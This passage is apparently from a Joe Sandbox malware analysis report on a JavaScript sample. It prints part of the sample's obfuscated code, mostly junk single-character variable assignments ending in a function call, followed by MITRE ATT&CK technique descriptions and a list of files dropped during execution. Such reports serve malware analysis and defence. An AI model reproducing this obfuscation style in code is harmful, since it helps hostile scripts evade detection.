885	gapclfgwo = "n";
886	gapclfgwo = "J";
887	gapclfgwo = "I";
888	gapclfgwo = "S";
889	gapclfgwo = "V";
890	gapclfgwo = "k";
891	gapclfgwo = "x";
892	gapclfgwo = "s";
893	gapclfgwo = "P";
894	gapclfgwo = "s";
895	gapclfgwo = "i";
896	gapclfgwo = "K";
897	gapclfgwo = "Z";
898	gapclfgwo = "K";
899	gapclfgwo = "I";
900	gapclfgwo = "t";
901	gapclfgwo = "e";
902	gbqks = "Z";
903	gbqks = "j";
904	gbqks = "o";
905	gbqks = "a";
906	gbqks = "Y";
907	gbqks = "F";
908	gbqks = "q";
909	gbqks = "G";
910	gbqks = "P";
911	gbqks = "z";
912	gbqks = "r";
913	gbqks = "s";
914	gbqks = "b";
915	gbqks = "P";
916	gbqks = "y";
917	gbqks = "j";
918	gbqks = "X";
919	gbqks = "V";
920	gbqks = "h";
921	gbqks = "D";
922	gbqks = "e";
923	gbqks = "J";
924	gbqks = "K";
925	gbqks = "Z";
926	gbqks = "U";
927	gbqks = "r";
928	gbqks = "d";
929	gbqks = "U";
930	gbqks = "P";
931	gbqks = "Q";
932	gbqks = "N";
933	gbqks = "q";
934	gbqks = "H";
935	gbqks = "v";
936	gbqks = "W";
937	gbqks = "Z";
938	gbqks = "W";
939	gbqks = "m";
940	cicbg = "A";
941	cicbg = "K";
942	cicbg = "m";
943	cicbg = "P";
944	cicbg = "m";
945	cicbg = "Y";
946	cicbg = "j";
947	cicbg = "w";
948	cicbg = "u";
949	cicbg = "e";
950	cicbg = "k";
951	cicbg = "f";
952	cicbg = "R";
953	cicbg = "F";
954	cicbg = "F";
955	cicbg = "s";
956	cicbg = "M";
957	cicbg = "D";
958	cicbg = "U";
959	cicbg = "T";
960	cicbg = "U";
961	cicbg = "O";
962	cicbg = "d";
963	cicbg = "d";
964	cicbg = "q";
965	cicbg = "1";
966	bxkhur = "V";
967	bxkhur = "F";
968	bxkhur = "C";
969	bxkhur = "T";
970	bxkhur = "J";
971	bxkhur = "B";
972	bxkhur = "B";
973	bxkhur = "V";
974	bxkhur = "C";
975	bxkhur = "E";
976	bxkhur = "n";
977	bxkhur = "b";
978	bxkhur = "i";
979	bxkhur = "V";
980	bxkhur = "a";
981	bxkhur = "q";
982	bxkhur = "l";
983	bxkhur = "b";
984	bxkhur = "Q";
985	bxkhur = "l";
986	puamj = "C";
987	puamj = "u";
988	puamj = "P";
989	puamj = "S";
990	puamj = "Q";
991	puamj = "J";
992	puamj = "u";
993	puamj = "Z";
994	puamj = "a";
995	sgfoxzshm = "H";
996	sgfoxzshm = "X";
997	sgfoxzshm = "v";
998	sgfoxzshm = "p";
999	sgfoxzshm = "o";
1000	sgfoxzshm = "M";
1001	sgfoxzshm = "V";
1002	sgfoxzshm = "L";
1003	sgfoxzshm = "J";
1004	sgfoxzshm = "H";
1005	sgfoxzshm = "C";
1006	bcwczf = "D";
1007	bcwczf = "p";
1008	zrmol = "J";
1009	zrmol = "K";
1010	zrmol = "p";
1011	zrmol = "f";
1012	zrmol = "Z";
1013	zrmol = "F";
1014	zrmol = "r";
1015	wzeexta = "i";
1016	wzeexta = "j";
1017	wzeexta = "b";
1018	wzeexta = "S";
1019	wzeexta = "C";
1020	wzeexta = "r";
1021	wzeexta = "t";
1022	wzeexta = "E";
1023	wzeexta = "w";
1024	wzeexta = "k";
1025	wzeexta = "A";
1026	wzeexta = "t";
1027	wzeexta = "q";
1028	wzeexta = "k";
1029	wzeexta = "Z";
1030	wzeexta = "U";
1031	wzeexta = "Q";
1032	wzeexta = "V";
1033	wzeexta = "f";
1034	wzeexta = "Q";
1035	wzeexta = "c";
1036	wzeexta = "Z";
1037	wzeexta = "U";
1038	wzeexta = "A";
1039	wzeexta = "T";
1040	wzeexta = "P";
1041	wzeexta = "t";
1042	wzeexta = "L";
1043	wzeexta = "K";
1044	wzeexta = "n";
1045	wzeexta = "D";
1046	wzeexta = "k";
1047	wzeexta = "L";
1048	fgfwtntpf = "W";
1049	fgfwtntpf = "F";
1050	fgfwtntpf = "N";
1051	fgfwtntpf = "g";
1052	fgfwtntpf = "a";
1053	fgfwtntpf = "H";
1054	fgfwtntpf = "K";
1055	fgfwtntpf = "O";
1056	fgfwtntpf = "B";
1057	fgfwtntpf = "x";
1058	fgfwtntpf = "W";
1059	fgfwtntpf = "M";
1060	fgfwtntpf = "f";
1061	fgfwtntpf = "M";
1062	fgfwtntpf = "e";
1063	fgfwtntpf = "C";
1064	fgfwtntpf = "U";
1065	fgfwtntpf = "b";
1066	fgfwtntpf = "K";
1067	fgfwtntpf = "I";
1068	fgfwtntpf = "f";
1069	fgfwtntpf = "O";
1070	fgfwtntpf = "n";
1071	fgfwtntpf = "Q";
1072	fgfwtntpf = "h";
1073	fgfwtntpf = "P";
1074	fgfwtntpf = "D";
1075	fgfwtntpf = "V";
1076	fgfwtntpf = "l";
1077	fgfwtntpf = "k";
1078	fgfwtntpf = "v";
1079	fgfwtntpf = "L";
1080	fgfwtntpf = "O";
1081	fgfwtntpf = "e";
1082	fgfwtntpf = "U";
1083	fgfwtntpf = "D";
1084	fgfwtntpf = "j";
1085	fgfwtntpf = "V";
1086	fgfwtntpf = "R";
1087	fgfwtntpf = "Y";
1088	fgfwtntpf = "v";
1089	eenjb = "v";
1090	eenjb = "v";
1091	eenjb = "J";
1092	eenjb = "g";
1093	eenjb = "H";
1094	eenjb = "c";
1095	eenjb = "Z";
1096	eenjb = "i";
1097	eenjb = "u";
1098	hslesqye = "Z";
1099	hslesqye = "y";
1100	hslesqye = "Z";
1101	hslesqye = "S";
1102	hslesqye = "n";
1103	hslesqye = "U";
1104	hslesqye = "F";
1105	hslesqye = "y";
1106	hslesqye = "t";
1107	hslesqye = "U";
1108	hslesqye = "s";
1109	hslesqye = "F";
1110	hslesqye = "y";
1111	hslesqye = "K";
1112	hslesqye = "M";
1113	hslesqye = "x";
1114	hslesqye = "P";
1115	hslesqye = "G";
1116	hslesqye = "m";
1117	hslesqye = "V";
1118	hslesqye = "q";
1119	hslesqye = "t";
1120	hslesqye = "N";
1121	hslesqye = "s";
1122	hslesqye = "T";
1123	hslesqye = "g";
1124	hslesqye = "B";
1125	hslesqye = "n";
1126	hslesqye = "E";
1127	hslesqye = "f";
1128	hslesqye = "I";
1129	hslesqye = "n";
1130	hslesqye = "H";
1131	hslesqye = "E";
1132	hslesqye = "\\";
1133	mvmuheew = "A";
1134	mvmuheew = "k";
1135	mvmuheew = "F";
1136	mvmuheew = "B";
1137	mvmuheew = "b";
1138	mvmuheew = "u";
1139	mvmuheew = "h";
1140	mvmuheew = "g";
1141	mvmuheew = "A";
1142	mvmuheew = "C";
1143	mvmuheew = "t";
1144	mvmuheew = "C";
1145	mvmuheew = "w";
1146	mvmuheew = "t";
1147	mvmuheew = "z";
1148	mvmuheew = "g";
1149	mvmuheew = "o";
1150	mvmuheew = "H";
1151	mvmuheew = "Y";
1152	mvmuheew = "b";
1153	mvmuheew = "w";
1154	mvmuheew = "e";
1155	mvmuheew = "S";
1156	mvmuheew = "P";
1157	xnpjvq = "S";
1158	xnpjvq = "i";
1159	vzhcv = "Z";
1160	vzhcv = "s";
1161	vzhcv = "z";
1162	vzhcv = "q";
1163	vzhcv = "N";
1164	vzhcv = "t";
1165	vzhcv = "D";
1166	vzhcv = "G";
1167	vzhcv = "j";
1168	vzhcv = "a";
1169	vzhcv = "z";
1170	vzhcv = "f";
1171	vzhcv = "K";
1172	vzhcv = "m";
1173	vzhcv = "I";
1174	vzhcv = "P";
1175	vzhcv = "P";
1176	vzhcv = "T";
1177	vzhcv = "d";
1178	vzhcv = "N";
1179	vzhcv = "y";
1180	vzhcv = "h";
1181	vdzuya = "H";
1182	vdzuya = "u";
1183	vdzuya = "C";
1184	vdzuya = "l";
1185	vdzuya = "c";
1186	vdzuya = "b";
1187	vdzuya = "I";
1188	vdzuya = "F";
1189	vdzuya = "y";
1190	vdzuya = "G";
1191	vdzuya = "n";
1192	vdzuya = "A";
1193	vdzuya = "z";
1194	vdzuya = "x";
1195	vdzuya = "s";
1196	vdzuya = "M";
1197	vdzuya = "N";
1198	vdzuya = "K";
1199	vdzuya = "W";
1200	vdzuya = "K";
1201	vdzuya = "t";
1202	vdzuya = "W";
1203	vdzuya = "o";
1204	vdzuya = "k";
1205	vdzuya = "W";
1206	vdzuya = "c";
1207	vdzuya = "S";
1208	vdzuya = "t";
1209	vdzuya = "G";
1210	vdzuya = "n";
1211	vdzuya = "V";
1212	vdzuya = "d";
1213	vdzuya = "q";
1214	vdzuya = "P";
1215	vdzuya = "J";
1216	vdzuya = "d";
1217	vdzuya = "C";
1218	vdzuya = "n";
1219	yhdtpj = "V";
1220	yhdtpj = "S";
1221	yhdtpj = "H";
1222	yhdtpj = "c";
1223	yhdtpj = "P";
1224	yhdtpj = "P";
1225	yhdtpj = "l";
1226	yhdtpj = "r";
1227	yhdtpj = "G";
1228	yhdtpj = "f";
1229	yhdtpj = "w";
1230	yhdtpj = "a";
1231	yhdtpj = "l";
1232	yhdtpj = "R";
1233	yhdtpj = "c";
1234	yhdtpj = "N";
1235	yhdtpj = "o";
1236	ohavfzx = "m";
1237	ohavfzx = "h";
1238	ohavfzx = "T";
1239	ohavfzx = "t";
1240	ohavfzx = "I";
1241	ohavfzx = "m";
1242	ohavfzx = ".";
1243	snrnew = "R";
1244	snrnew = "D";
1245	snrnew = "l";
1246	snrnew = "j";
1247	snrnew = "/";
1248	qoogxzap = "r";
1249	qoogxzap = "l";
1250	qoogxzap = "p";
1251	qoogxzap = "E";
1252	qoogxzap = "b";
1253	qoogxzap = "R";
1254	qoogxzap = "N";
1255	qoogxzap = "C";
1256	qoogxzap = "x";
1257	qoogxzap = "i";
1258	qoogxzap = "Y";
1259	qoogxzap = "j";
1260	qoogxzap = "a";
1261	qoogxzap = "3";
1262	avxsdmwfj = "N";
1263	avxsdmwfj = "V";
1264	avxsdmwfj = "T";
1265	avxsdmwfj = "q";
1266	noledmqzr = "c";
1267	noledmqzr = "g";
1268	noledmqzr = "M";
1269	noledmqzr = "J";
1270	noledmqzr = "Y";
1271	noledmqzr = "u";
1272	noledmqzr = "f";
1273	noledmqzr = "B";
1274	noledmqzr = "b";
1275	noledmqzr = "c";
1276	noledmqzr = "y";
1277	noledmqzr = "z";
1278	noledmqzr = "e";
1279	noledmqzr = "A";
1280	noledmqzr = "D";
1281	noledmqzr = "n";
1282	noledmqzr = "e";
1283	noledmqzr = "j";
1284	noledmqzr = "d";
1285	noledmqzr = "f";
1286	noledmqzr = "U";
1287	sztpwzkjx = "H";
1288	sztpwzkjx = "d";
1289	sztpwzkjx = "o";
1290	sztpwzkjx = "o";
1291	sztpwzkjx = "K";
1292	sztpwzkjx = "H";
1293	sztpwzkjx = "N";
1294	sztpwzkjx = "r";
1295	sztpwzkjx = "b";
1296	sztpwzkjx = "t";
1297	sztpwzkjx = "g";
1298	sztpwzkjx = "e";
1299	sztpwzkjx = "w";
1300	sztpwzkjx = "v";
1301	sztpwzkjx = "p";
1302	sztpwzkjx = "s";
1303	sztpwzkjx = "c";
1304	sztpwzkjx = "h";
1305	sztpwzkjx = "T";
1306	sztpwzkjx = "t";
1307	sztpwzkjx = "e";
1308	sztpwzkjx = "A";
1309	sztpwzkjx = "x";
1310	sztpwzkjx = "A";
1311	sztpwzkjx = "l";
1312	sztpwzkjx = "X";
1313	sztpwzkjx = "y";
1314	sztpwzkjx = "Q";
1315	sztpwzkjx = "V";
1316	sztpwzkjx = "y";
1317	sztpwzkjx = "E";
1318	sztpwzkjx = "X";
1319	sztpwzkjx = "R";
1320	sztpwzkjx = "y";
1321	sztpwzkjx = "k";
1322	sztpwzkjx = "d";
1323	sztpwzkjx = "C";
1324	sztpwzkjx = "R";
1325	sztpwzkjx = "G";
1326	sztpwzkjx = "6";
1327	nmqgv = "j";
1328	oujgtta ( );	oujgtta() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 44742054371077666.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a3d3749-84d9-496c-baee-c265b4f6afc4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1248

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
44742054371077666.js